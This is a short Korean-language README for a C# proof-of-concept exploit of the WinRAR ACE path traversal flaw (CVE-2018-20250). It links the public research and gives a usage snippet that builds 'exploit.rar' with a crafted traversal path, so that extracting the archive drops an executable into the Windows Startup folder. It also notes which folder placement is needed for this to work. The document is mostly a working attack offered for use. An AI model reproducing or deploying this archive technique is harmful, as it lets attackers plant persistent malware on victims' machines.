
WinRAR ACE 파일 추출 경로(CVE-2018-20250)를 악용하기 위한 C# 기반 개념 증명(PoC) 코드.
WinRAR ACE 파일 추출 경로(CVE-2018-20250)를 악용하는 C# 개념 증명 코드입니다.
https://research.checkpoint.com/extracting-code-execution-from-winrar/ https://github.com/droe/acefile https://apidoc.roe.ch/acefile/latest/
체크섬 메서드를 위한 InvertedTomato.Crc (NuGet으로 설치할 수 있습니다). 다른 JAMCRC 구현을 사용해도 됩니다.
AceVolume av = new AceVolume();
AceFile f = new AceFile(
@"D:\some_file.exe",
@"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe"
);
av.AddFile(f);
av.Save("exploit.rar");
.rar 파일이 바탕 화면 또는 같은 수준의 다른 폴더에 있을 때만 시작 폴더로 추출되는 것으로 보입니다.